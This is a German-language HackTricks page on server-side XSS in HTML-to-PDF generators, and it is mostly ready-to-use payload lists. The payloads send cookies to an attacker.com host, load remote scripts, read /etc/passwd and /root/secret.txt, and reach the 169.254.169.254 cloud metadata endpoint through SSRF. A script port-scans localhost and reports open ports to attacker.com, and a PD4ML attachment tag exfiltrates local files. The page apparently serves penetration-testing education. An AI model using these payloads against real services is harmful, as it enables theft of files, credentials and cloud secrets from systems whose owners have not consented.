Server Side XSS (Dynamic PDF)

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Serverseitiges XSS (dynamisches PDF)

Wenn eine Webseite ein PDF unter Verwendung von benutzerkontrollierten Eingaben erstellt, können Sie versuchen, den Bot zu täuschen, der das PDF erstellt, um beliebigen JS-Code auszuführen. Wenn der PDF-Erstellungs-Bot bestimmte HTML-Tags findet, wird er sie interpretieren, und Sie können dieses Verhalten missbrauchen, um ein Serverseitiges XSS zu verursachen.

Bitte beachten Sie, dass die <script></script>-Tags nicht immer funktionieren, daher benötigen Sie eine andere Methode, um JS auszuführen (z. B. Missbrauch von <img ). Beachten Sie auch, dass Sie bei einer regulären Ausnutzung in der Lage sein werden, das erstellte PDF zu sehen/herunterzuladen, sodass Sie alles, was Sie über JS schreiben, sehen können (z. B. mit document.write()). Wenn Sie das erstellte PDF jedoch nicht sehen können, müssen Sie wahrscheinlich die Informationen extrahieren, indem Sie Webanfragen an sich selbst senden (Blind).

Beliebte PDF-Generierung

  • wkhtmltopdf ist bekannt für seine Fähigkeit, HTML und CSS in PDF-Dokumente umzuwandeln und dabei die WebKit-Rendering-Engine zu nutzen. Dieses Tool ist als Open-Source-Befehlszeilenprogramm verfügbar und somit für eine Vielzahl von Anwendungen zugänglich.

  • TCPDF bietet eine robuste Lösung innerhalb des PHP-Ökosystems für die PDF-Erstellung. Es ist in der Lage, Bilder, Grafiken und Verschlüsselung zu verarbeiten und zeigt seine Vielseitigkeit bei der Erstellung komplexer Dokumente.

  • Für diejenigen, die in einer Node.js-Umgebung arbeiten, bietet PDFKit eine praktikable Option. Es ermöglicht die Erzeugung von PDF-Dokumenten direkt aus HTML und CSS und stellt eine Verbindung zwischen Webinhalten und druckbaren Formaten her.

  • Java-Entwickler bevorzugen möglicherweise iText, eine Bibliothek, die nicht nur die Erstellung von PDFs erleichtert, sondern auch fortgeschrittene Funktionen wie digitale Signaturen und Formularausfüllung unterstützt. Ihr umfangreicher Funktionsumfang macht sie für die Erzeugung sicherer und interaktiver Dokumente geeignet.

  • FPDF ist eine weitere PHP-Bibliothek, die sich durch ihre Einfachheit und Benutzerfreundlichkeit auszeichnet. Sie wurde für Entwickler entwickelt, die einen unkomplizierten Ansatz zur PDF-Erstellung suchen, ohne umfangreiche Funktionen zu benötigen.

Payloads

Entdeckung

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Jeder der vorherigen oder folgenden Payloads kann innerhalb dieses SVG-Payloads verwendet werden. Ein Iframe, das auf die Burpcollab-Subdomain zugreift, und ein weiteres, das auf den Metadaten-Endpunkt zugreift, werden als Beispiele angegeben.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Sie können viele andere SVG-Payloads unter https://github.com/allanlw/svg-cheatsheet finden.

Pfadoffenlegung

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Laden Sie ein externes Skript

Der beste Weg, diese Schwachstelle auszunutzen, besteht darin, die Schwachstelle zu missbrauchen, um den Bot dazu zu bringen, ein von Ihnen lokal kontrolliertes Skript zu laden. Anschließend können Sie das Payload lokal ändern und den Bot jedes Mal mit demselben Code laden lassen.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Lokale Datei lesen / SSRF

Ändern Sie file:///etc/passwd beispielsweise in http://169.254.169.254/latest/user-data, um zu versuchen, auf eine externe Webseite zuzugreifen (SSRF).

Wenn SSRF erlaubt ist, Sie jedoch keine interessante Domain oder IP erreichen können, überprüfen Sie diese Seite auf mögliche Umgehungen.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Bot-Verzögerung

Bots können manchmal Verzögerungen aufweisen, die dazu führen, dass sie nicht sofort auf Anfragen reagieren. Dies kann verschiedene Gründe haben, wie z.B. Netzwerküberlastung, Serverauslastung oder die Implementierung von Wartezeiten in den Bot-Code, um eine Überlastung zu vermeiden. Es ist wichtig, diese Verzögerungen bei der Interaktion mit Bots zu berücksichtigen, um eine reibungslose Kommunikation sicherzustellen.

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Port Scan

Ein Port-Scan ist ein Verfahren, bei dem ein Angreifer versucht, offene Ports auf einem Zielrechner zu identifizieren. Ein Port ist eine numerische Adresse, die es ermöglicht, Netzwerkdienste zu identifizieren und zu unterscheiden. Durch das Scannen von Ports kann ein Angreifer potenzielle Schwachstellen im Netzwerk identifizieren und möglicherweise Zugriff auf den Zielrechner erlangen.

Es gibt verschiedene Arten von Port-Scans, darunter der SYN-Scan, der ACK-Scan, der FIN-Scan und der XMAS-Scan. Jeder Scan-Typ verwendet unterschiedliche Techniken, um Informationen über die offenen Ports zu sammeln.

Ein Port-Scan kann sowohl für legitime als auch für bösartige Zwecke verwendet werden. Im Rahmen einer Penetrationstest kann ein Port-Scan verwendet werden, um Schwachstellen in einem Netzwerk zu identifizieren und zu beheben. Auf der anderen Seite kann ein Angreifer einen Port-Scan durchführen, um nach potenziellen Zielen für Angriffe zu suchen.

Es ist wichtig zu beachten, dass das Durchführen eines Port-Scans ohne Zustimmung des Eigentümers des Zielrechners illegal sein kann. Es ist daher wichtig, die geltenden Gesetze und Vorschriften zu beachten und nur autorisierte Port-Scans durchzuführen.

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

Diese Schwachstelle kann sehr einfach in eine SSRF umgewandelt werden (da Sie das Skript dazu bringen können, externe Ressourcen zu laden). Versuchen Sie also einfach, sie auszunutzen (lesen Sie einige Metadaten?).

Anhänge: PD4ML

Es gibt einige HTML-2-PDF-Engines, die es ermöglichen, Anhänge für das PDF anzugeben, wie zum Beispiel PD4ML. Sie können diese Funktion missbrauchen, um beliebige lokale Dateien an das PDF anzuhängen. Um den Anhang zu öffnen, habe ich die Datei mit Firefox geöffnet und das Symbol für die Büroklammer doppelgeklickt, um den Anhang als neue Datei zu speichern. Das Erfassen der PDF-Antwort mit Burp sollte auch den Anhang im Klartext innerhalb des PDFs anzeigen.

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

Referenzen

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated